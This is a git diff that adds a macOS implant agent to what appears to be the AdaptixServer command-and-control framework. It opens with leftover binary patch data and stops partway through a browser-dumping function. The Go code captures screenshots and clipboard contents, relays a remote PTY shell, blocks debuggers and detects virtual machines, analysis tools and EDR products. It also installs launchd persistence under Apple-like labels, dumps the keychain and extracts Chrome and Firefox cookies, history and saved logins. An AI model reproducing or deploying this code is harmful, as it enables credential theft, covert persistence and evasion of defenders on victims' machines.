za6()s;3U@F`P$5=ovtHr81D}E$TiV22>hb)gGhY5n-~{3>gRw^Y4mf{&jM>0t7ryd zd_}#$THtbUH}FxQ2CN1$Al`Y5G(J9nI^L(O@l(JRkoO2|1g-@CG@r3@Y6sHzZXnJL zql=>+2a-KUIO+$1WKRQd6=Oj!$34q|OVREIl0GJI8XrJw!H0p=egU`|cnV1UV?w?Y zxDI?Xa0&1cfoa5z#!mwAOfixi^--W3e1xO^3*a*J>jKV4dz_;l1Cn1sU@_WTIO@$n z@~e@f{sNHvGJuZ(JwSX5R4^dEh$@m;T+%ZJ#KCNga@0qFq-U6;J_IB^=YaTxF#0*_ zXSv*XhogQ5Nd3Bj6vr-(ds=`M_%#660BeC1m$g8OOCgZrk;bG5kuk$jPXfumYaI14 zAb!RuM|}iH^9=&YzkVS3*9F`NJOZo&#(>zjMwp}C3?#o_0M0{u14rEpECS!fQ8$42 zrmFA&@&09O=BU>KY2LL!%3n8-^tl91OPo&vA4mJBz&`@5I0BcUy&s5Yqj8p_-UB3i zPH@zNKzsrkbnpQ6W+1kL(a2GM0f>}08aV1+AX3!W#Zfna6wjR;_07Qbn0Gy}7MNsW z{eegcW0a#l0)#8ZFh_j|NOoTUlE2-+a^Mjlmd-fHQI7#>T$rOC1k$+8K*|TqNw^0$ zg9*lRj=G0qez`yZ$@4Y2cC(@^U$s`14<1qFa7>j)r7=mBhoupeQ}QRWDktShlwQoGjopq?>hLTga6jS@hq7$o?bC>?fuZf@eH3MzwY2g z4*TmJ@}D{QRR@2K z>e-I%0WeswFXH##ZH@>|u5k&~eBrRay_tvE7Yv4)-~#;*+8&Kn3fC*!0(*sHl~tSU zTDDSEYd2*pRU7T5Yz2S$^4L^nD^)di6DqN`aJ5aVvNcp7cswh})=+_9LspQjp#niw eR&cjw3D&dV_FYeJFoD)eRc^@Es_-c0*M9(#S|m>Z literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_macos/Makefile b/AdaptixServer/extenders/macos_agent/src_macos/Makefile new file mode 100644 index 000000000..ee4e87784 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/Makefile @@ -0,0 +1,4 @@ +all: agent + +agent: + @ GOWORK=off CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 go build -modfile=go.mod -trimpath -ldflags="-s -w" -o agent && rm agent diff --git a/AdaptixServer/extenders/macos_agent/src_macos/config.go b/AdaptixServer/extenders/macos_agent/src_macos/config.go new file mode 100644 index 000000000..2616577f2 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/config.go @@ -0,0 +1,5 @@ +package main + +var encProfiles = [][]byte{ + // Profiles are injected at build time by pl_main.go:BuildPayload() +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go new file mode 100644 index 000000000..46d894ece --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go @@ -0,0 +1,308 @@ +package functions + +import ( + "archive/zip" + "bytes" + "encoding/binary" + "errors" + "fmt" + "io" + "io/fs" + "net" + "os" + "os/exec" + "path/filepath" +) + +/// FS + +func CopyFile(src, dst string, info fs.FileInfo) error { + source, err := os.Open(src) + if err != nil { + return err + } + defer func(source *os.File) { + _ = source.Close() + }(source) + + dest, err := os.OpenFile(dst, os.O_RDWR|os.O_CREATE|os.O_TRUNC, info.Mode()) + if err != nil { + return err + } + defer func(dest *os.File) { + _ = dest.Close() + }(dest) + + _, err = io.Copy(dest, source) + return err +} + +func CopyDir(srcDir, dstDir string) error { + srcInfo, err := os.Stat(srcDir) + if err != nil { + return err + } + + err = os.MkdirAll(dstDir, srcInfo.Mode()) + if err != nil { + return err + } + + entries, err := os.ReadDir(srcDir) + if err != nil { + return err + } + + for _, entry := range entries { + srcPath := filepath.Join(srcDir, entry.Name()) + dstPath := filepath.Join(dstDir, entry.Name()) + + info, err := entry.Info() + if err != nil { + return err + } + + if info.IsDir() { + err = CopyDir(srcPath, dstPath) + if err != nil { + return err + } + } else { + err = CopyFile(srcPath, dstPath, info) + if err != nil { + return err + } + } + } + return nil +} + +/// ZIP + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func ZipFile(srcFilePath string) ([]byte, error) { + buf := new(bytes.Buffer) + zipWriter := zip.NewWriter(buf) + + fileToZip, err := os.Open(srcFilePath) + if err != nil { + return nil, err + } + defer fileToZip.Close() + + info, err := fileToZip.Stat() + if err != nil { + return nil, err + } + + header, err := zip.FileInfoHeader(info) + if err != nil { + return nil, err + } + header.Name = filepath.Base(srcFilePath) + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return nil, err + } + + _, err = io.Copy(writer, fileToZip) + if err != nil { + return nil, err + } + + if err := zipWriter.Close(); err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func ZipDirectory(srcDir string) ([]byte, error) { + buf := new(bytes.Buffer) + zipWriter := zip.NewWriter(buf) + + err := filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error { + if err != nil { + return err + } + + relPath, err := filepath.Rel(srcDir, path) + if err != nil { + return err + } + if info.IsDir() { + if relPath == "." { + return nil + } + relPath += "/" + _, err = zipWriter.Create(relPath) + return err + } + + file, err := os.Open(path) + if err != nil { + return err + } + defer file.Close() + + header, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + header.Name = relPath + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return err + } + + _, err = io.Copy(writer, file) + return err + }) + if err != nil { + return nil, err + } + + if err := zipWriter.Close(); err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +/// SCREENS + +// Screenshots captures the screen using macOS native screencapture utility. +// Works without CGO. screencapture is a signed Apple binary — normal system activity. +func Screenshots() (map[int][]byte, error) { + result := make(map[int][]byte) + + tmpFile, err := os.CreateTemp("", "sc-*.png") + if err != nil { + return nil, err + } + tmpPath := tmpFile.Name() + tmpFile.Close() + defer os.Remove(tmpPath) + + // -x: no sound, -C: no cursor, -t png: PNG format + cmd := exec.Command("screencapture", "-x", "-C", "-t", "png", tmpPath) + cmd.Stdout = nil + cmd.Stderr = nil + if err := cmd.Run(); err != nil { + return nil, err + } + + data, err := os.ReadFile(tmpPath) + if err != nil { + return nil, err + } + if len(data) == 0 { + return nil, fmt.Errorf("empty screenshot") + } + + result[0] = data + return result, nil +} + +/// NET + +func ConnRead(conn net.Conn, size int) ([]byte, error) { + if size <= 0 { + return nil, fmt.Errorf("incorrected size: %d", size) + } + + message := make([]byte, 0, size) + tmpBuff := make([]byte, 1024) + readSize := 0 + + for readSize < size { + toRead := size - readSize + if toRead < len(tmpBuff) { + tmpBuff = tmpBuff[:toRead] + } + + n, err := conn.Read(tmpBuff) + if err != nil { + return nil, err + } + + message = append(message, tmpBuff[:n]...) + readSize += n + } + return message, nil +} + +func RecvMsg(conn net.Conn) ([]byte, error) { + bufLen, err := ConnRead(conn, 4) + if err != nil { + return nil, err + } + msgLen := binary.BigEndian.Uint32(bufLen) + + return ConnRead(conn, int(msgLen)) +} + +func SendMsg(conn net.Conn, data []byte) error { + if conn == nil { + return errors.New("conn is nil") + } + + msgLen := make([]byte, 4) + binary.BigEndian.PutUint32(msgLen, uint32(len(data))) + message := append(msgLen, data...) + _, err := conn.Write(message) + return err +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go new file mode 100644 index 000000000..9cdbdeb2d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go @@ -0,0 +1,228 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "bufio" + "crypto/cipher" + "fmt" + "io" + "macos_agent/utils" + "os" + "os/exec" + "os/user" + "path/filepath" + "strconv" + "strings" + "syscall" + + "github.com/creack/pty" + + "howett.net/plist" +) + +func GetCP() (uint32, uint32) { + return 0, 0 +} + +func IsElevated() bool { + return os.Geteuid() == 0 +} + +func GetOsVersion() (string, error) { + f, err := os.Open(utils.StrSystemVersionPlist()) + if err != nil { + return utils.StrMacOS(), nil + } + defer f.Close() + + var data map[string]interface{} + decoder := plist.NewDecoder(f) + err = decoder.Decode(&data) + if err != nil { + return utils.StrMacOS(), nil + } + + version, ok := data[utils.StrProductVersion()].(string) + if !ok { + return utils.StrMacOS(), nil + } + + return fmt.Sprintf("%s %s", utils.StrMacOS(), version), nil +} + +func NormalizePath(relPath string) (string, error) { + if strings.HasPrefix(relPath, "~") { + usr, err := user.Current() + if err != nil { + return "", err + } + relPath = filepath.Join(usr.HomeDir, relPath[1:]) + } + path, err := filepath.Abs(relPath) + if err != nil { + return "", err + } + path = filepath.Clean(path) + return path, nil +} + +func buildFileInfo(path string, info os.FileInfo, displayName string) utils.FileInfo { + mode := info.Mode() + isLink := mode&os.ModeSymlink != 0 + + isDir := info.IsDir() + if isLink { + if targetInfo, err := os.Stat(path); err == nil { + isDir = targetInfo.IsDir() + } + } + + stat, ok := info.Sys().(*syscall.Stat_t) + var nlink uint64 = 1 + var uid, gid int + if ok { + nlink = uint64(stat.Nlink) + uid = int(stat.Uid) + gid = int(stat.Gid) + } + + username := fmt.Sprintf("%d", uid) + if u, err := user.LookupId(username); err == nil { + username = u.Username + } + group := fmt.Sprintf("%d", gid) + if g, err := user.LookupGroupId(group); err == nil { + group = g.Name + } + + return utils.FileInfo{ + Mode: mode.String(), + Nlink: int(nlink), + User: username, + Group: group, + Size: info.Size(), + Date: info.ModTime().Format("Jan _2 15:04"), + Filename: displayName, + IsDir: isDir, + } +} + +func GetListing(path string) ([]utils.FileInfo, error) { + var Files []utils.FileInfo + + pathInfo, err := os.Lstat(path) + if err != nil { + return Files, err + } + + if !pathInfo.IsDir() { + return []utils.FileInfo{buildFileInfo(path, pathInfo, filepath.Base(path))}, nil + } + + entries, err := os.ReadDir(path) + if err != nil { + return Files, err + } + + for _, entry := range entries { + fullPath := filepath.Join(path, entry.Name()) + info, err := os.Lstat(fullPath) + if err != nil { + return Files, err + } + + Files = append(Files, buildFileInfo(fullPath, info, entry.Name())) + } + return Files, nil +} + +// GetProcesses enumerates processes using macOS native ps(1). +// ps is a signed Apple binary — normal system activity, no CGO required. +func GetProcesses() ([]utils.PsInfo, error) { + out, err := exec.Command("ps", "-axo", "pid=,ppid=,tty=,user=,comm=").Output() + if err != nil { + return nil, err + } + + var Processes []utils.PsInfo + scanner := bufio.NewScanner(strings.NewReader(string(out))) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line == "" { + continue + } + fields := strings.Fields(line) + if len(fields) < 5 { + continue + } + pid, _ := strconv.Atoi(fields[0]) + ppid, _ := strconv.Atoi(fields[1]) + tty := fields[2] + if tty == "??" { + tty = "" + } + username := fields[3] + process := strings.Join(fields[4:], " ") + + Processes = append(Processes, utils.PsInfo{ + Pid: pid, + Ppid: ppid, + Context: username, + Tty: tty, + Process: process, + }) + } + + return Processes, nil +} + +func ProcessSettings(cmd *exec.Cmd) {} + +func IsProcessRunning(cmd *exec.Cmd) bool { + if cmd.Process == nil { + return false + } + err := cmd.Process.Signal(syscall.Signal(0)) + if err != nil { + return false + } + return true +} + +func StartPtyCommand(process *exec.Cmd, columns uint16, rows uint16) (any, error) { + process.Env = append(os.Environ(), + utils.StrHistory(), utils.StrHistsize(), utils.StrHistsave(), + utils.StrHistzone(), utils.StrHistlog(), + utils.StrHistfile(), utils.StrHistfilesize(), + ) + windowSize := pty.Winsize{Rows: rows, Cols: columns} + + return pty.StartWithSize(process, &windowSize) +} + +func StopPty(Pipe any) error { + src := Pipe.(*os.File) + return src.Close() +} + +func RelayConnToPty(to any, from *cipher.StreamReader) { + pipe := to.(*os.File) + io.Copy(pipe, from) +} + +func RelayPtyToConn(to *cipher.StreamWriter, from any) { + pipe := from.(*os.File) + io.Copy(to, pipe) +} + +// GetClipboard reads the current clipboard contents using pbpaste (macOS native). +// pbpaste is a signed Apple binary — no TCC required, normal system activity. +func GetClipboard() (string, error) { + out, err := exec.Command("pbpaste").Output() + if err != nil { + return "", err + } + return string(out), nil +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go new file mode 100644 index 000000000..0bc48b212 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go @@ -0,0 +1,161 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "macos_agent/utils" + "os" + "strings" + "syscall" + "unsafe" +) + +const ( + _CTL_KERN = 1 + _KERN_PROC = 14 + _KERN_PROC_PID = 1 + _P_TRACED = 0x00000800 + _PT_DENY_ATTACH = 31 + _SYS_PTRACE = 26 + _SYS_SYSCTL = 202 + _SYS_SYSCTLBYNAME = 274 +) + +const _KINFO_PROC_SIZE = 648 +const _P_FLAG_OFFSET = 32 + +// DenyDebugger calls ptrace(PT_DENY_ATTACH, 0, 0, 0) via raw syscall. +func DenyDebugger() { + syscall.Syscall6( + uintptr(_SYS_PTRACE), + uintptr(_PT_DENY_ATTACH), + 0, 0, 0, 0, 0, + ) +} + +// IsDebuggerPresent checks the P_TRACED flag via sysctl(KERN_PROC_PID). +func IsDebuggerPresent() bool { + var buf [_KINFO_PROC_SIZE]byte + size := uintptr(len(buf)) + + mib := [4]int32{_CTL_KERN, _KERN_PROC, _KERN_PROC_PID, int32(os.Getpid())} + + _, _, errno := syscall.Syscall6( + uintptr(_SYS_SYSCTL), + uintptr(unsafe.Pointer(&mib[0])), + 4, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(unsafe.Pointer(&size)), + 0, + 0, + ) + if errno != 0 { + return false + } + + pFlag := *(*int32)(unsafe.Pointer(&buf[_P_FLAG_OFFSET])) + return pFlag&_P_TRACED != 0 +} + +// sysctlByName is a helper wrapping sysctlbyname via raw syscall. +func sysctlByName(name string) ([]byte, error) { + nameBytes := append([]byte(name), 0) + + var size uintptr + _, _, errno := syscall.Syscall6( + uintptr(_SYS_SYSCTLBYNAME), + uintptr(unsafe.Pointer(&nameBytes[0])), + 0, + uintptr(unsafe.Pointer(&size)), + 0, + 0, + 0, + ) + if errno != 0 || size == 0 { + return nil, errno + } + + buf := make([]byte, size) + _, _, errno = syscall.Syscall6( + uintptr(_SYS_SYSCTLBYNAME), + uintptr(unsafe.Pointer(&nameBytes[0])), + uintptr(unsafe.Pointer(&buf[0])), + uintptr(unsafe.Pointer(&size)), + 0, + 0, + 0, + ) + if errno != 0 { + return nil, errno + } + + if size > 0 && buf[size-1] == 0 { + size-- + } + return buf[:size], nil +} + +// GetHWModel returns the hardware model string via sysctlbyname. +func GetHWModel() string { + data, err := sysctlByName(utils.StrHwModel()) + if err != nil { + return "" + } + return string(data) +} + +// IsVirtualMachine checks hw.model for virtualization indicators. +func IsVirtualMachine() bool { + model := GetHWModel() + if model == "" { + return false + } + return strings.Contains(model, "Virtual") +} + +// IsSandboxed checks if the process is running inside an App Sandbox. +func IsSandboxed() bool { + return os.Getenv(utils.StrSandboxEnv()) != "" +} + +// IsSIPDisabled checks for SIP-disabled indicators via kern.bootargs. +func IsSIPDisabled() bool { + data, err := sysctlByName(utils.StrKernBootargs()) + if err != nil { + return false + } + return strings.Contains(string(data), utils.StrAmfiBypass()) +} + +// DetectAnalysisTools checks for the presence of common macOS reversing/analysis tools. +func DetectAnalysisTools() bool { + toolPaths := []string{ + utils.StrHopper(), + utils.StrIDA(), + utils.StrGhidra(), + utils.StrCharles(), + utils.StrProxyman(), + utils.StrWireshark(), + } + for _, p := range toolPaths { + if _, err := os.Stat(p); err == nil { + return true + } + } + return false +} + +// IsAnalysisEnvironment performs a combined check for analysis/debugging indicators. +func IsAnalysisEnvironment() bool { + if IsDebuggerPresent() { + return true + } + if IsVirtualMachine() { + return true + } + if IsSIPDisabled() { + return true + } + return false +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go new file mode 100644 index 000000000..117e387c2 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go @@ -0,0 +1,509 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "fmt" + "os" + "os/exec" + "os/user" + "path/filepath" + "strings" + + "howett.net/plist" +) + +// LaunchAgent/LaunchDaemon plist structure +type launchdPlist struct { + Label string `plist:"Label"` + ProgramArguments []string `plist:"ProgramArguments"` + RunAtLoad bool `plist:"RunAtLoad"` + KeepAlive bool `plist:"KeepAlive"` + StandardOutPath string `plist:"StandardOutPath,omitempty"` + StandardErrorPath string `plist:"StandardErrorPath,omitempty"` +} + +// PersistInstall creates a LaunchAgent or LaunchDaemon plist for persistence. +// method: "launchagent" or "launchdaemon" +// label: plist label, e.g. "com.apple.mdworker.local" +func PersistInstall(method, label string) (string, error) { + selfPath, err := os.Executable() + if err != nil { + return "", fmt.Errorf("cannot resolve self path: %w", err) + } + + var dir string + switch method { + case "launchagent": + usr, err := user.Current() + if err != nil { + return "", err + } + dir = filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + case "launchdaemon": + if os.Geteuid() != 0 { + return "", fmt.Errorf("launchdaemon requires root privileges") + } + dir = "/Library/LaunchDaemons" + default: + return "", fmt.Errorf("unknown persistence method: %s", method) + } + + if err := os.MkdirAll(dir, 0755); err != nil { + return "", fmt.Errorf("cannot create directory %s: %w", dir, err) + } + + plistPath := filepath.Join(dir, label+".plist") + + data := launchdPlist{ + Label: label, + ProgramArguments: []string{selfPath}, + RunAtLoad: true, + KeepAlive: true, + } + + buf, err := plist.MarshalIndent(data, plist.XMLFormat, "\t") + if err != nil { + return "", fmt.Errorf("cannot marshal plist: %w", err) + } + + if err := os.WriteFile(plistPath, buf, 0644); err != nil { + return "", fmt.Errorf("cannot write plist: %w", err) + } + + // Load the plist immediately via launchctl + _ = exec.Command("launchctl", "load", "-w", plistPath).Run() + + return fmt.Sprintf("Persistence installed: %s\nPlist: %s\nBinary: %s", method, plistPath, selfPath), nil +} + +// PersistRemove removes a LaunchAgent or LaunchDaemon persistence. +func PersistRemove(method, label string) (string, error) { + var dir string + switch method { + case "launchagent": + usr, err := user.Current() + if err != nil { + return "", err + } + dir = filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + case "launchdaemon": + dir = "/Library/LaunchDaemons" + default: + return "", fmt.Errorf("unknown persistence method: %s", method) + } + + plistPath := filepath.Join(dir, label+".plist") + + if _, err := os.Stat(plistPath); os.IsNotExist(err) { + return "", fmt.Errorf("plist not found: %s", plistPath) + } + + // Unload first + _ = exec.Command("launchctl", "unload", "-w", plistPath).Run() + + if err := os.Remove(plistPath); err != nil { + return "", fmt.Errorf("cannot remove plist: %w", err) + } + + return fmt.Sprintf("Persistence removed: %s\nDeleted: %s", method, plistPath), nil +} + +// PersistStatus checks if any known persistence plists exist. +func PersistStatus() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + selfPath, _ := os.Executable() + var results []string + + // Check LaunchAgents + agentDir := filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + results = append(results, checkPlistDir(agentDir, selfPath, "LaunchAgent")...) + + // Check LaunchDaemons (if readable) + daemonDir := "/Library/LaunchDaemons" + results = append(results, checkPlistDir(daemonDir, selfPath, "LaunchDaemon")...) + + if len(results) == 0 { + return "No persistence found for this agent", nil + } + return strings.Join(results, "\n"), nil +} + +func checkPlistDir(dir, selfPath, ptype string) []string { + var results []string + entries, err := os.ReadDir(dir) + if err != nil { + return results + } + + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".plist") { + continue + } + path := filepath.Join(dir, entry.Name()) + f, err := os.Open(path) + if err != nil { + continue + } + var data launchdPlist + decoder := plist.NewDecoder(f) + err = decoder.Decode(&data) + f.Close() + if err != nil { + continue + } + + for _, arg := range data.ProgramArguments { + if arg == selfPath { + status := "loaded" + // Check if actually loaded via launchctl + out, err := exec.Command("launchctl", "list", data.Label).Output() + if err != nil || len(out) == 0 { + status = "installed (not loaded)" + } + results = append(results, fmt.Sprintf("[%s] %s — %s (%s)", ptype, data.Label, path, status)) + break + } + } + } + return results +} + +// TccCheck probes TCC permissions by attempting to access protected resources. +func TccCheck() (string, error) { + var results []string + + // Full Disk Access — try reading TCC.db + tccPath := "/Library/Application Support/com.apple.TCC/TCC.db" + if _, err := os.Open(tccPath); err == nil { + results = append(results, "[+] Full Disk Access: GRANTED") + } else { + results = append(results, "[-] Full Disk Access: DENIED") + } + + // Screen Recording — try screencapture + tmpFile, err := os.CreateTemp("", "tcc-*.png") + if err == nil { + tmpPath := tmpFile.Name() + tmpFile.Close() + defer os.Remove(tmpPath) + cmd := exec.Command("screencapture", "-x", "-t", "png", tmpPath) + if err := cmd.Run(); err != nil { + results = append(results, "[-] Screen Recording: DENIED or unavailable") + } else { + info, _ := os.Stat(tmpPath) + if info != nil && info.Size() > 0 { + results = append(results, "[+] Screen Recording: GRANTED") + } else { + results = append(results, "[-] Screen Recording: DENIED") + } + } + } + + // Accessibility — no reliable probe without CGO (CGEventTap needs it) + results = append(results, "[?] Accessibility: cannot probe without CGO") + + // Camera + out, err := exec.Command("system_profiler", "SPCameraDataType").Output() + if err == nil && len(out) > 0 { + results = append(results, "[?] Camera: hardware detected (permission untested)") + } + + // Clipboard — always available, no TCC + results = append(results, "[+] Clipboard: no TCC required") + + return strings.Join(results, "\n"), nil +} + +// DefaultsRead reads macOS defaults for a given domain. +func DefaultsRead(domain string) (string, error) { + var cmd *exec.Cmd + if domain == "" || domain == "all" { + cmd = exec.Command("defaults", "read") + } else { + cmd = exec.Command("defaults", "read", domain) + } + out, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("%s\n%s", err.Error(), string(out)) + } + return string(out), nil +} + +// EdrCheck detects known EDR/security products on macOS. +func EdrCheck() (string, error) { + var results []string + + // Known EDR process names + edrProcesses := map[string]string{ + "falcond": "CrowdStrike Falcon", + "falconctl": "CrowdStrike Falcon", + "SentinelAgent": "SentinelOne", + "sentineld": "SentinelOne", + "JamfProtect": "Jamf Protect", + "JamfDaemon": "Jamf Pro", + "jamfAgent": "Jamf Pro", + "CbOsxSensorService": "Carbon Black", + "CbDefense": "Carbon Black", + "EndpointSecurityClient": "macOS Endpoint Security (generic)", + "MicrosoftDefender": "Microsoft Defender", + "com.microsoft.dlp.daemon": "Microsoft DLP", + } + + // Get running processes + psOut, err := exec.Command("ps", "-axo", "comm=").Output() + if err != nil { + return "", fmt.Errorf("cannot enumerate processes: %w", err) + } + + foundEdr := make(map[string]bool) + for _, line := range strings.Split(string(psOut), "\n") { + proc := strings.TrimSpace(filepath.Base(line)) + if product, ok := edrProcesses[proc]; ok { + if !foundEdr[product] { + foundEdr[product] = true + results = append(results, fmt.Sprintf("[!] %s detected (process: %s)", product, proc)) + } + } + } + + // System Extensions + sysExtOut, err := exec.Command("systemextensionsctl", "list").CombinedOutput() + if err == nil { + for _, line := range strings.Split(string(sysExtOut), "\n") { + line = strings.TrimSpace(line) + if strings.Contains(line, "enabled") || strings.Contains(line, "activated") { + results = append(results, fmt.Sprintf("[*] System Extension: %s", line)) + } + } + } + + // Network Extensions (profiles) + profOut, err := exec.Command("profiles", "list").CombinedOutput() + if err == nil && len(profOut) > 10 { + results = append(results, fmt.Sprintf("[*] Configuration profiles installed (%d bytes output)", len(profOut))) + } + + if len(results) == 0 { + return "No known EDR/security products detected", nil + } + + return strings.Join(results, "\n"), nil +} + +// KeychainList lists keychain entries using the security CLI. +func KeychainList() (string, error) { + out, err := exec.Command("security", "list-keychains").CombinedOutput() + if err != nil { + return "", fmt.Errorf("security list-keychains failed: %s", string(out)) + } + + result := "Keychains:\n" + string(out) + "\n" + + // Try to dump generic passwords (will prompt on macOS if not authorized) + dumpOut, err := exec.Command("security", "dump-keychain").CombinedOutput() + if err == nil { + // Count entries + count := strings.Count(string(dumpOut), "keychain:") + result += fmt.Sprintf("Keychain entries: %d\n", count) + // Only include first 8KB to avoid overwhelming output + if len(dumpOut) > 8192 { + result += string(dumpOut[:8192]) + "\n... (truncated)" + } else { + result += string(dumpOut) + } + } else { + result += "dump-keychain: access denied or requires authorization" + } + + return result, nil +} + +// KeychainDump attempts to dump keychain entries with more detail. +func KeychainDump() (string, error) { + out, err := exec.Command("security", "dump-keychain", "-d").CombinedOutput() + if err != nil { + // -d flag may cause password prompts; fallback without -d + out, err = exec.Command("security", "dump-keychain").CombinedOutput() + if err != nil { + return "", fmt.Errorf("security dump-keychain failed: %s", string(out)) + } + } + if len(out) > 32768 { + return string(out[:32768]) + "\n... (truncated at 32KB)", nil + } + return string(out), nil +} + +// BrowserDumpChrome collects Chrome browser data (cookies, history, login data). +func BrowserDumpChrome(target string) (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + chromeDir := filepath.Join(usr.HomeDir, "Library", "Application Support", "Google", "Chrome", "Default") + if _, err := os.Stat(chromeDir); os.IsNotExist(err) { + return "", fmt.Errorf("Chrome profile not found: %s", chromeDir) + } + + var targetFile string + switch target { + case "cookies": + targetFile = filepath.Join(chromeDir, "Cookies") + case "history": + targetFile = filepath.Join(chromeDir, "History") + case "logins": + targetFile = filepath.Join(chromeDir, "Login Data") + default: + // List available files + var files []string + entries, _ := os.ReadDir(chromeDir) + for _, e := range entries { + if !e.IsDir() { + info, _ := e.Info() + if info != nil { + files = append(files, fmt.Sprintf(" %s (%s)", e.Name(), formatSize(info.Size()))) + } + } + } + return fmt.Sprintf("Chrome profile: %s\nFiles:\n%s\n\nUse: browser_dump chrome cookies|history|logins", chromeDir, strings.Join(files, "\n")), nil + } + + if _, err := os.Stat(targetFile); os.IsNotExist(err) { + return "", fmt.Errorf("file not found: %s", targetFile) + } + + // SQLite databases — try to read with sqlite3 CLI + var out []byte + switch target { + case "cookies": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT host_key, name, path, expires_utc, is_secure, is_httponly FROM cookies LIMIT 100;").CombinedOutput() + case "history": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT url, title, visit_count, datetime(last_visit_time/1000000-11644473600,'unixepoch') as last_visit FROM urls ORDER BY last_visit_time DESC LIMIT 100;").CombinedOutput() + case "logins": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT origin_url, username_value, length(password_value) as pwd_len FROM logins LIMIT 100;").CombinedOutput() + } + + if err != nil { + return "", fmt.Errorf("sqlite3 query failed: %s\n%s", err.Error(), string(out)) + } + + if len(out) == 0 { + return fmt.Sprintf("No data found in %s", target), nil + } + + return fmt.Sprintf("Chrome %s (top 100):\n%s", target, string(out)), nil +} + +// BrowserDumpFirefox collects Firefox browser data. +func BrowserDumpFirefox(target string) (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + ffDir := filepath.Join(usr.HomeDir, "Library", "Application Support", "Firefox", "Profiles") + if _, err := os.Stat(ffDir); os.IsNotExist(err) { + return "", fmt.Errorf("Firefox profiles not found: %s", ffDir) + } + + // Find the default profile (*.default-release or *.default) + entries, err := os.ReadDir(ffDir) + if err != nil { + return "", err + } + + var profileDir string + for _, e := range entries { + if e.IsDir() && (strings.HasSuffix(e.Name(), ".default-release") || strings.HasSuffix(e.Name(), ".default")) { + profileDir = filepath.Join(ffDir, e.Name()) + break + } + } + + if profileDir == "" { + // List all profiles + var profiles []string + for _, e := range entries { + if e.IsDir() { + profiles = append(profiles, " "+e.Name()) + } + } + return fmt.Sprintf("Firefox profiles found:\n%s\nNo default profile detected", strings.Join(profiles, "\n")), nil + } + + var targetFile string + switch target { + case "cookies": + targetFile = filepath.Join(profileDir, "cookies.sqlite") + case "history": + targetFile = filepath.Join(profileDir, "places.sqlite") + case "logins": + targetFile = filepath.Join(profileDir, "logins.json") + default: + var files []string + fentries, _ := os.ReadDir(profileDir) + for _, e := range fentries { + if !e.IsDir() { + info, _ := e.Info() + if info != nil { + files = append(files, fmt.Sprintf(" %s (%s)", e.Name(), formatSize(info.Size()))) + } + } + } + return fmt.Sprintf("Firefox profile: %s\nFiles:\n%s\n\nUse: browser_dump firefox cookies|history|logins", profileDir, strings.Join(files, "\n")), nil + } + + if _, err := os.Stat(targetFile); os.IsNotExist(err) { + return "", fmt.Errorf("file not found: %s", targetFile) + } + + if target == "logins" { + // logins.json — just read it + data, err := os.ReadFile(targetFile) + if err != nil { + return "", err + } + if len(data) > 16384 { + return string(data[:16384]) + "\n... (truncated)", nil + } + return string(data), nil + } + + // SQLite databases + var out []byte + switch target { + case "cookies": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT host, name, path, expiry, isSecure, isHttpOnly FROM moz_cookies LIMIT 100;").CombinedOutput() + case "history": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT url, title, visit_count, datetime(last_visit_date/1000000,'unixepoch') as last_visit FROM moz_places ORDER BY last_visit_date DESC LIMIT 100;").CombinedOutput() + 